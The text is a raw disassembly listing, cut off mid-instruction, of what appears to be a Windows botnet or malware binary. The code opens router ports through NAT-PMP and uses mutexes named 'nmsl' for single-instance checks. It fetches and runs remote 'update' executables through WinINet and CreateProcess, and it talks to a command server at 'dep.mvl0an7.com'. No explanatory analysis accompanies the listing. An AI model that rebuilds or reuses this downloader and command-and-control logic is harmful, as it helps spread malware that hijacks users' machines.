eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push esi call sub_4070BC ; recvfrom test eax, eax jge short loc_4032A4 call sub_4070C2 ; WSAGetLastError cmp eax, 274Ch jnz short loc_40329A cmp ebx, 9 jnz short loc_403303 loc_40329A: ; CODE XREF: sub_403113+180j push esi call sub_407056 ; closesocket xor eax, eax jmp short loc_40331B ; --------------------------------------------------------------------------- loc_4032A4: ; CODE XREF: sub_403113+174j push ebx push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n" call sub_4075F0 pop ecx pop ecx mov eax, [ebp+var_90] cmp [ebp+var_B8], eax jnz short loc_403303 push 4 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_84] push eax call sub_4079C0 add esp, 0Ch mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_4070B0 ; inet_ntoa push eax push ebx push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n" call sub_4075F0 add esp, 0Ch push esi call sub_407056 ; closesocket mov eax, [ebp+var_84] jmp short loc_40331B ; --------------------------------------------------------------------------- loc_403303: ; CODE XREF: sub_403113+185j ; sub_403113+1AAj inc ebx shl [ebp+var_9C], 1 loc_40330A: ; CODE XREF: sub_403113+C6j cmp ebx, 0Ah jl loc_4031DE push esi call sub_407056 ; closesocket xor eax, eax loc_40331B: ; CODE XREF: sub_403113+23j ; sub_403113+10Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403322 proc near ; CODE XREF: sub_40356A+33p ; sub_404CDF+110p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7A = byte ptr -7Ah var_78 = byte ptr -78h var_76 = byte ptr -76h var_75 = byte ptr -75h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_94], 0FAh mov [ebp+var_90], 2 mov eax, [ebp+arg_0] mov [ebp+var_8C], eax push 14E7h call sub_407068 ; htons mov [ebp+var_8E], ax mov eax, [ebp+arg_0] mov [ebp+var_A8], eax push eax call sub_4070B0 ; inet_ntoa push eax push offset aRouterIpS ; "router ip: [%s]\n" call sub_4075F0 pop ecx pop ecx xor esi, esi inc esi push 11h push 2 push 2 call sub_40704A ; socket mov edi, eax push 10h push 0 lea eax, [ebp+var_A4] push eax call sub_407960 add esp, 0Ch mov [ebp+var_A4], 2 mov eax, [ebp+arg_0] mov [ebp+var_A0], eax push 14E7h call sub_407068 ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A4] mov [ebp+var_AC], eax push 10h push [ebp+var_AC] push edi call sub_407074 ; bind jmp loc_403552 ; --------------------------------------------------------------------------- loc_4033DC: ; CODE XREF: sub_403322+233j mov [ebp+var_C0], 10h push esi push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n" call sub_4075F0 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 2 mov [ebp+var_7E], 0 mov [ebp+var_7D], 0 lea ebx, [ebp+var_7C] movzx eax, [ebp+arg_4] push eax call sub_407068 ; htons mov [ebx], ax lea ebx, [ebp+var_7A] movzx eax, [ebp+arg_8] push eax call sub_407068 ; htons mov [ebx], ax lea ebx, [ebp+var_78] mov word ptr [ebx], 0E10h mov [ebp+var_76], 0 mov [ebp+var_75], 0 push 10h lea eax, [ebp+var_90] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push edi call sub_4070B6 ; sendto test eax, eax jge short loc_40345B push edi call sub_407056 ; closesocket xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_40345B: ; CODE XREF: sub_403322+12Aj push esi push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n" call sub_4075F0 pop ecx pop ecx push 4 lea eax, [ebp+var_94] push eax push 1006h push 0FFFFh push edi call sub_407050 ; setsockopt test eax, eax jge short loc_403492 push edi call sub_407056 ; closesocket xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_403492: ; CODE XREF: sub_403322+161j push esi push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n" call sub_4075F0 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 10h lea eax, [ebp+var_80] push eax push edi call sub_4070BC ; recvfrom test eax, eax jge short loc_4034DD call sub_4070C2 ; WSAGetLastError cmp eax, 274Ch jnz short loc_4034D0 cmp esi, 9 jnz short loc_40354B loc_4034D0: ; CODE XREF: sub_403322+1A7j push edi call sub_407056 ; closesocket xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_4034DD: ; CODE XREF: sub_403322+19Bj push esi push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n" call sub_4075F0 pop ecx pop ecx mov eax, [ebp+var_8C] cmp [ebp+var_B8], eax jnz short loc_40354B cmp [ebp+var_7F], 82h jnz short loc_40354B lea ebx, [ebp+var_7E] cmp word ptr [ebx], 0 jnz short loc_40354B lea ebx, [ebp+var_78] movzx eax, [ebp+arg_4] push eax call sub_407068 ; htons cmp [ebx], ax jnz short loc_40354B lea ebx, [ebp+var_76] movzx eax, word ptr [ebx] push eax call sub_407086 ; htons movzx eax, ax push eax push esi push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n" call sub_4075F0 add esp, 0Ch push edi call sub_407056 ; closesocket movzx eax, word ptr [ebx] push eax call sub_407068 ; htons movzx eax, ax jmp short loc_403563 ; --------------------------------------------------------------------------- loc_40354B: ; CODE XREF: sub_403322+1ACj ; sub_403322+1D4j ... inc esi shl [ebp+var_94], 1 loc_403552: ; CODE XREF: sub_403322+B5j cmp esi, 0Ah jl loc_4033DC push edi call sub_407056 ; closesocket xor eax, eax loc_403563: ; CODE XREF: sub_403322+134j ; sub_403322+16Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403322 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40356A proc near ; DATA XREF: sub_406A07+3Fo ; DMN1:00447EB1o push ebx push esi push edi loc_40356D: ; CODE XREF: sub_40356A:loc_4035FBj xor ebx, ebx inc ebx loc_403570: ; CODE XREF: sub_40356A+15j push 0EA60h call dword_411D04 ; Sleep inc ebx cmp ebx, 3Fh jl short loc_403570 call sub_403113 mov edi, eax mov eax, dword_411010 mov si, ax movzx eax, si push eax movzx eax, word ptr dword_41100C push eax push edi call sub_403322 add esp, 0Ch mov si, ax test si, si jz short loc_4035CD movzx eax, si cmp eax, dword_411010 jz short loc_4035CD movzx eax, si mov dword_411010, eax push 1 push offset dword_411024 call dword_411D08 ; InterlockedExchange loc_4035CD: ; CODE XREF: sub_40356A+41j ; sub_40356A+4Cj movzx eax, word ptr dword_41100C push eax push eax call sub_402B02 pop ecx pop ecx test eax, eax jz short loc_4035FB mov eax, dword_41100C cmp dword_411010, eax jz short loc_4035FB push 1 push offset dword_411024 call dword_411D08 ; InterlockedExchange loc_4035FB: ; CODE XREF: sub_40356A+75j ; sub_40356A+82j jmp loc_40356D sub_40356A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_403604 proc near ; CODE XREF: sub_406A81+77p push ebx cmp dword_411018, 0 jz short loc_403612 xor eax, eax jmp short loc_403656 ; --------------------------------------------------------------------------- loc_403612: ; CODE XREF: sub_403604+8j xor ebx, ebx push offset a__win32__nmsl_ ; "__win32__nmsl_sdm__" push 0 push 0 call dword_411D0C ; CreateMutexA mov dword_411018, eax cmp dword_411018, 0 jz short loc_403654 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_403654 xor ebx, ebx inc ebx push dword_411018 call dword_411CFC ; CloseHandle and dword_411018, 0 loc_403654: ; CODE XREF: sub_403604+2Bj ; sub_403604+38j mov eax, ebx loc_403656: ; CODE XREF: sub_403604+Cj pop ebx retn sub_403604 endp ; =============== S U B R O U T I N E ======================================= sub_403658 proc near ; CODE XREF: sub_403FEAp ; sub_40400E+81p ... push ebx push esi xor esi, esi push offset a__win32__nmsl_ ; "__win32__nmsl_sdm__" push 0 push 100000h call dword_411D10 ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_403680 xor esi, esi inc esi push ebx call dword_411CFC ; CloseHandle xor ebx, ebx loc_403680: ; CODE XREF: sub_403658+1Aj mov eax, esi pop esi pop ebx retn sub_403658 endp ; =============== S U B R O U T I N E ======================================= sub_403685 proc near ; CODE XREF: sub_406A81+C5p cmp dword_411018, 0 jz short locret_4036A1 push dword_411018 call dword_411CFC ; CloseHandle and dword_411018, 0 locret_4036A1: ; CODE XREF: sub_403685+7j retn sub_403685 endp ; --------------------------------------------------------------------------- push ebx cmp dword_41101C, 0 jz short loc_4036B0 xor eax, eax jmp short loc_4036F4 ; --------------------------------------------------------------------------- loc_4036B0: ; CODE XREF: DMN0:004036AAj xor ebx, ebx push offset a_win32__nmsl_s ; "_win32__nmsl_sm__" push 0 push 0 call dword_411D0C ; CreateMutexA mov dword_41101C, eax cmp dword_41101C, 0 jz short loc_4036F2 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_4036F2 xor ebx, ebx inc ebx push dword_41101C call dword_411CFC ; CloseHandle and dword_41101C, 0 loc_4036F2: ; CODE XREF: DMN0:004036CDj ; DMN0:004036DAj mov eax, ebx loc_4036F4: ; CODE XREF: DMN0:004036AEj pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4036F6 proc near ; CODE XREF: sub_406815+9p ; sub_406815:loc_4069A8p push ebx push esi xor esi, esi push offset a_win32__nmsl_s ; "_win32__nmsl_sm__" push 0 push 100000h call dword_411D10 ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_40371E xor esi, esi inc esi push ebx call dword_411CFC ; CloseHandle xor ebx, ebx loc_40371E: ; CODE XREF: sub_4036F6+1Aj mov eax, esi pop esi pop ebx retn sub_4036F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403723 proc near ; CODE XREF: sub_40399A+16Ep ; sub_406A81+FBp ... var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 854h push ebx push esi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] test esi, esi jz short loc_40373B and dword ptr [esi], 0 loc_40373B: ; CODE XREF: sub_403723+13j push 44h push 0 lea eax, [ebp+var_44] push eax call sub_407960 add esp, 0Ch mov [ebp+var_44], 44h test ebx, ebx jz short loc_40376B push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_844] push eax call sub_407A00 pop ecx pop ecx jmp short loc_403772 ; --------------------------------------------------------------------------- loc_40376B: ; CODE XREF: sub_403723+31j mov [ebp+var_844], 0 loc_403772: ; CODE XREF: sub_403723+46j cmp [ebp+arg_0], 0 jz short loc_40378B push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx jmp short loc_40379E ; --------------------------------------------------------------------------- loc_40378B: ; CODE XREF: sub_403723+53j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx loc_40379E: ; CODE XREF: sub_403723+66j test ebx, ebx jz short loc_4037B5 push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx loc_4037B5: ; CODE XREF: sub_403723+7Dj cmp [ebp+arg_4], 0 jz short loc_4037DF push offset asc_40EDA4 ; " " lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx push [ebp+arg_4] lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx loc_4037DF: ; CODE XREF: sub_403723+96j lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D14 ; CreateProcessA test eax, eax jz short loc_403832 push [ebp+var_850] call dword_411CFC ; CloseHandle test esi, esi jz short loc_403823 mov eax, [ebp+var_854] mov [esi], eax jmp short loc_40382F ; --------------------------------------------------------------------------- loc_403823: ; CODE XREF: sub_403723+F4j push [ebp+var_854] call dword_411CFC ; CloseHandle loc_40382F: ; CODE XREF: sub_403723+FEj xor eax, eax inc eax loc_403832: ; CODE XREF: sub_403723+E4j pop esi pop ebx mov esp, ebp pop ebp retn sub_403723 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403838 proc near ; CODE XREF: sub_40399A+65p var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi push 0 push 0 push 0 push 1 push offset aMsdownloader ; "msdownloader" call dword_411EF4 ; InternetOpenA mov edi, eax push edi push offset aInternetopenI ; "InternetOpen(): %i\n" call nullsub_2 pop ecx pop ecx test edi, edi jnz short loc_403871 xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_403871: ; CODE XREF: sub_403838+30j push 0 push 80080300h push 0 push 0 push [ebp+arg_0] push edi call dword_411EF8 ; InternetOpenUrlA mov ebx, eax push edi push offset aInternetopenur ; "InternetOpenUrl(): %i\n" call nullsub_2 pop ecx pop ecx test ebx, ebx jnz short loc_4038A7 push edi call dword_411EFC ; InternetCloseHandle xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_4038A7: ; CODE XREF: sub_403838+5Fj push offset aWb_0 ; "wb" push [ebp+arg_4] call sub_407690 pop ecx pop ecx mov esi, eax test esi, esi jnz short loc_4038E0 push [ebp+arg_4] push offset aFopenS___ ; "fopen(%s)...\n" call nullsub_2 pop ecx pop ecx push ebx call dword_411EFC ; InternetCloseHandle push edi call dword_411EFC ; InternetCloseHandle xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_4038E0: ; CODE XREF: sub_403838+82j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadingSS ; "downloading [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch push 0 call dword_411D18 ; RtlRestoreLastWin32Error jmp short loc_403918 ; --------------------------------------------------------------------------- loc_4038FD: ; CODE XREF: sub_403838+F9j cmp [ebp+var_4], 0 jz short loc_403933 push esi push 1 push [ebp+var_4] lea eax, [ebp+var_404] push eax call sub_407AF0 add esp, 10h loc_403918: ; CODE XREF: sub_403838+C3j lea eax, [ebp+var_4] push eax push 3FFh lea eax, [ebp+var_404] push eax push ebx call dword_411F00 ; InternetReadFile test eax, eax jnz short loc_4038FD loc_403933: ; CODE XREF: sub_403838+C9j call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_408], eax push esi call sub_4078F0 pop ecx push ebx call dword_411EFC ; InternetCloseHandle push edi call dword_411EFC ; InternetCloseHandle cmp [ebp+var_408], 0 jz short loc_40397D push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch push [ebp+arg_4] call dword_411D1C ; DeleteFileA xor eax, eax jmp short loc_403993 ; --------------------------------------------------------------------------- loc_40397D: ; CODE XREF: sub_403838+123j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch xor eax, eax inc eax loc_403993: ; CODE XREF: sub_403838+34j ; sub_403838+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403838 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40399A proc near ; DATA XREF: sub_403C3F+361o ; DMN1:0044540Bo var_3400 = byte ptr -3400h var_2400 = byte ptr -2400h var_1400 = byte ptr -1400h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 3400h call sub_407AC0 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_2400], 0 mov [ebp+var_1000], 0 mov esi, ebx push esi push offset aUpdateUrlS ; "UPDATE URL: <%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_3400] push eax push 0FFFh call dword_411D20 ; GetTempPathA lea eax, [ebp+var_2400] push eax push 0 push offset aMsss ; "msss" lea eax, [ebp+var_3400] push eax call dword_411D24 ; GetTempFileNameA lea eax, [ebp+var_2400] push eax push esi call sub_403838 pop ecx pop ecx test eax, eax jz loc_403B21 lea eax, [ebp+var_2400] push eax push offset aDownloadedToS ; "downloaded to: <%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_3400] push eax push 0FFFh call dword_411D20 ; GetTempPathA lea eax, [ebp+var_1000] push eax push 0 push offset aMsssx ; "msssx" lea eax, [ebp+var_3400] push eax call dword_411D24 ; GetTempFileNameA mov edi, dword_4128A8 push 0 lea eax, [ebp+var_1000] push eax push edi call dword_411D28 ; CopyFileA test eax, eax jz loc_403B21 push 80h lea eax, [ebp+var_1000] push eax call dword_411D2C ; SetFileAttributesA push offset aUpdate ; "*update \"" lea eax, [ebp+var_1400] push eax call sub_407A00 pop ecx pop ecx lea eax, [ebp+var_2400] push eax lea eax, [ebp+var_1400] push eax call sub_407A20 pop ecx pop ecx push offset asc_40ECC7 ; "\" \"" lea eax, [ebp+var_1400] push eax call sub_407A20 pop ecx pop ecx push edi lea eax, [ebp+var_1400] push eax call sub_407A20 pop ecx pop ecx push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_1400] push eax call sub_407A20 pop ecx pop ecx lea eax, [ebp+var_1400] push eax lea eax, [ebp+var_1000] push eax push offset aRunningSS___ ; "running %s (%s)...\r\n" call nullsub_2 add esp, 0Ch push 0 push 1 lea eax, [ebp+var_1400] push eax lea eax, [ebp+var_1000] push eax call sub_403723 add esp, 10h test eax, eax jz short loc_403B21 loc_403B14: ; CODE XREF: sub_40399A+185j push 1770h call dword_411D04 ; Sleep jmp short loc_403B14 ; --------------------------------------------------------------------------- loc_403B21: ; CODE XREF: sub_40399A+6Ej ; sub_40399A+CCj ... push 0 push offset dword_411014 call dword_411D08 ; InterlockedExchange lea eax, [ebp+var_2400] push eax call sub_4079E0 pop ecx test eax, eax jz short loc_403B4C lea eax, [ebp+var_2400] push eax call dword_411D1C ; DeleteFileA loc_403B4C: ; CODE XREF: sub_40399A+1A3j lea eax, [ebp+var_1000] push eax call sub_4079E0 pop ecx test eax, eax jz short loc_403B6A lea eax, [ebp+var_1000] push eax call dword_411D1C ; DeleteFileA loc_403B6A: ; CODE XREF: sub_40399A+1C1j push ebx call sub_401076 pop ecx call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40399A endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_403B7E proc near ; CODE XREF: sub_403C3F:loc_403E14p xor ecx, ecx mov eax, ecx retn sub_403B7E endp ; =============== S U B R O U T I N E ======================================= sub_403B83 proc near ; CODE XREF: sub_403C3F+13Bp ; sub_403C3F+14Dp xor eax, eax retn sub_403B83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B86 proc near ; CODE XREF: sub_403C3F+2C6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi mov ebx, [ebp+arg_4] xor esi, esi push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection cmp [ebp+arg_8], 0 jnz short loc_403BAE push dword_412938 call sub_401F9B pop ecx loc_403BAE: ; CODE XREF: sub_403B86+1Aj mov esi, [ebp+arg_0] mov eax, ebx mov ecx, 4 cdq idiv ecx mov ebx, eax jmp short loc_403BF6 ; --------------------------------------------------------------------------- loc_403BBF: ; CODE XREF: sub_403B86+72j push 0 push dword ptr [esi] push dword_412938 call sub_402049 add esp, 0Ch mov eax, [esi] mov [ebp+var_4], eax push eax call sub_4070B0 ; inet_ntoa push eax mov eax, dword_412938 push dword ptr [eax+8] push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n" call nullsub_2 add esp, 0Ch dec ebx add esi, 4 loc_403BF6: ; CODE XREF: sub_403B86+37j test ebx, ebx jg short loc_403BBF push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection xor eax, eax inc eax pop esi pop ebx mov esp, ebp pop ebp retn sub_403B86 endp ; --------------------------------------------------------------------------- push ebx push edi mov ecx, [esp+0Ch] mov ebx, [esp+10h] xor edi, edi jmp short loc_403C28 ; --------------------------------------------------------------------------- loc_403C1C: ; CODE XREF: DMN0:00403C32j mov eax, [ebx+4] mov [ecx], eax mov ebx, [ebx+8] add ecx, 4 inc edi loc_403C28: ; CODE XREF: DMN0:00403C1Aj cmp edi, 4000h jge short loc_403C34 test ebx, ebx jnz short loc_403C1C loc_403C34: ; CODE XREF: DMN0:00403C2Ej mov edx, [esp+14h] mov [edx], edi mov eax, ebx pop edi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C3F proc near ; DATA XREF: sub_40400E+Fo ; DMN1:00445488o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push dword_412938 call sub_401F9B pop ecx push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection push offset aDep_mvl0an7_co ; "dep.mvl0an7.com" call sub_4017BE pop ecx mov [ebp+var_14], eax test eax, eax jz short loc_403C87 cmp eax, 0FFFFFFFFh jz short loc_403C87 test eax, eax jnz short loc_403C8C loc_403C87: ; CODE XREF: sub_403C3F+3Bj ; sub_403C3F+42j jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403C8C: ; CODE XREF: sub_403C3F+46j mov [ebp+var_16], 247Fh xor esi, esi and [ebp+var_C], 0 push 0 push offset dword_411024 call dword_411D08 ; InterlockedExchange cmp dword_411004, 0 jnz short loc_403CCA movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_4023DC pop ecx pop ecx mov dword_411004, eax loc_403CCA: ; CODE XREF: sub_403C3F+6Dj movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_402449 pop ecx pop ecx push dword_411010 push offset aMyPortI ; "my port [%i]\n" call nullsub_2 pop ecx pop ecx mov eax, [ebp+var_14] mov [ebp+var_1C], eax push eax call sub_4070B0 ; inet_ntoa mov [ebp+var_20], eax movzx eax, [ebp+var_16] push eax push [ebp+var_20] push offset aSrvSI ; "SRV: [%s:%i]\n" call nullsub_2 add esp, 0Ch and [ebp+var_10], 0 call sub_401359 mov [ebp+var_10], eax test eax, eax jz loc_403FB9 push [ebp+var_10] call sub_4019C3 pop ecx mov esi, eax push offset aSrvConnecting_ ; "SRV: connecting...\n" call nullsub_2 pop ecx movzx eax, [ebp+var_16] push eax push [ebp+var_14] push [ebp+var_10] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_403D68 push offset aSrvConnectingF ; "SRV: connecting failed.\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403D68: ; CODE XREF: sub_403C3F+117j push offset aSrvHandshaki_0 ; "SRV: handshaking...\n" call nullsub_2 pop ecx mov [ebp+var_24], 1000h call sub_403B83 push eax push offset aSrvRip?I ; "SRV: rip? %i\n" call nullsub_2 pop ecx pop ecx call sub_403B83 test eax, eax jz short loc_403D99 or [ebp+var_24], 1 loc_403D99: ; CODE XREF: sub_403C3F+154j push [ebp+var_24] movzx eax, word ptr dword_411010 push eax push esi call sub_401D76 add esp, 0Ch test eax, eax jnz short loc_403DC1 push offset aSrvHandshaking ; "SRV: handshaking failed.\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403DC1: ; CODE XREF: sub_403C3F+170j push offset byte_40EBED call nullsub_2 pop ecx push esi call sub_401F51 pop ecx mov [ebp+var_8], eax test eax, eax jz short loc_403DEA push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403DEA: ; CODE XREF: sub_403C3F+199j test byte ptr [ebp+var_24], 1 jz loc_403EA1 push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n" call nullsub_2 pop ecx push 10004h call sub_401048 pop ecx mov [ebp+var_30], eax mov [ebp+var_2C], eax and [ebp+var_28], 0 loc_403E14: ; CODE XREF: sub_403C3F+1F8j call sub_403B7E mov edi, eax test edi, edi jz short loc_403E39 mov edx, [ebp+var_2C] mov [edx], edi mov eax, [ebp+var_2C] add eax, 4 mov [ebp+var_2C], eax inc [ebp+var_28] cmp [ebp+var_28], 3FFFh jl short loc_403E14 loc_403E39: ; CODE XREF: sub_403C3F+1DEj mov eax, [ebp+var_28] add eax, eax add eax, eax push eax push [ebp+var_30] push 100h push esi call sub_401B8F add esp, 10h test eax, eax jnz short loc_403E6F push [ebp+var_30] call sub_401076 pop ecx push offset sub_40EB90 call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403E6F: ; CODE XREF: sub_403C3F+215j push [ebp+var_30] call sub_401076 pop ecx push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n" call nullsub_2 pop ecx push esi call sub_401F51 pop ecx mov [ebp+var_8], eax test eax, eax jz short loc_403EA1 push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403EA1: ; CODE XREF: sub_403C3F+1AFj ; sub_403C3F+250j ... push 0FFFFh push 0 lea eax, [ebp+var_2] push eax push esi call sub_401D5B add esp, 10h mov ebx, eax test ebx, ebx jl loc_403FB9 movzx eax, [ebp+var_2] mov [ebp+var_28], eax cmp eax, 200h jz short loc_403EE0 cmp eax, 201h jz short loc_403F21 cmp eax, 202h jz short loc_403EF0 jmp loc_403FB4 ; --------------------------------------------------------------------------- loc_403EE0: ; CODE XREF: sub_403C3F+28Cj push offset byte_40EB51 call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403EF0: ; CODE XREF: sub_403C3F+29Aj push offset dword_40EB44 call nullsub_2 pop ecx push [ebp+var_C] push ebx push dword ptr [esi+470h] call sub_403B86 add esp, 0Ch test eax, eax jz loc_403FB4 mov [ebp+var_C], 1 jmp loc_403FB4 ; --------------------------------------------------------------------------- loc_403F21: ; CODE XREF: sub_403C3F+293j test ebx, ebx jnz short loc_403F2E mov edx, [esi+470h] mov byte ptr [edx], 0 loc_403F2E: ; CODE XREF: sub_403C3F+2E4j push dword ptr [esi+470h] push offset sub_40EB31 call nullsub_2 pop ecx pop ecx test ebx, ebx jz short loc_403FB4 push dword ptr [esi+470h] call sub_4079E0 pop ecx test eax, eax jz short loc_403FB4 push 0 push offset dword_411014 call dword_411D30 ; InterlockedExchangeAdd test eax, eax jnz short loc_403FB4 push 1 push offset dword_411014 call dword_411D08 ; InterlockedExchange push 10000h call sub_401048 pop ecx mov [ebp+var_2C], eax push dword ptr [esi+470h] push [ebp+var_2C] call sub_407A00 pop ecx pop ecx push offset sub_40EB17 call nullsub_2 pop ecx push [ebp+var_2C] push 0 push offset sub_40399A call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle loc_403FB4: ; CODE XREF: sub_403C3F+29Cj ; sub_403C3F+2D0j ... jmp loc_403EA1 ; --------------------------------------------------------------------------- loc_403FB9: ; CODE XREF: sub_403C3F:loc_403C87j ; sub_403C3F+E6j ... test esi, esi jz short loc_403FC4 push esi call sub_401A3B pop ecx loc_403FC4: ; CODE XREF: sub_403C3F+37Cj cmp [ebp+var_10], 0 jz short loc_403FD3 push [ebp+var_10] call sub_4014C2 pop ecx loc_403FD3: ; CODE XREF: sub_403C3F+389j push offset aSrvcommthreadD ; "SrvCommThread: done\n" call nullsub_2 pop ecx call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FEA proc near ; CODE XREF: sub_403FEA+21j ; DATA XREF: sub_404CDF+1C4o ... call sub_403658 test eax, eax jz short loc_404000 call sub_4053FC push 0 call dword_411D34 ; ExitProcess loc_404000: ; CODE XREF: sub_403FEA+7j push 3E8h call dword_411D04 ; Sleep jmp short sub_403FEA sub_403FEA endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40400E proc near ; DATA XREF: sub_404CDF+1A1o ; DMN1:004462EBo var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push esi push edi and [ebp+var_4], 0 loc_404019: ; CODE XREF: sub_40400E+A4j push 0 push 0 push offset sub_403C3F call sub_407CA0 add esp, 0Ch mov 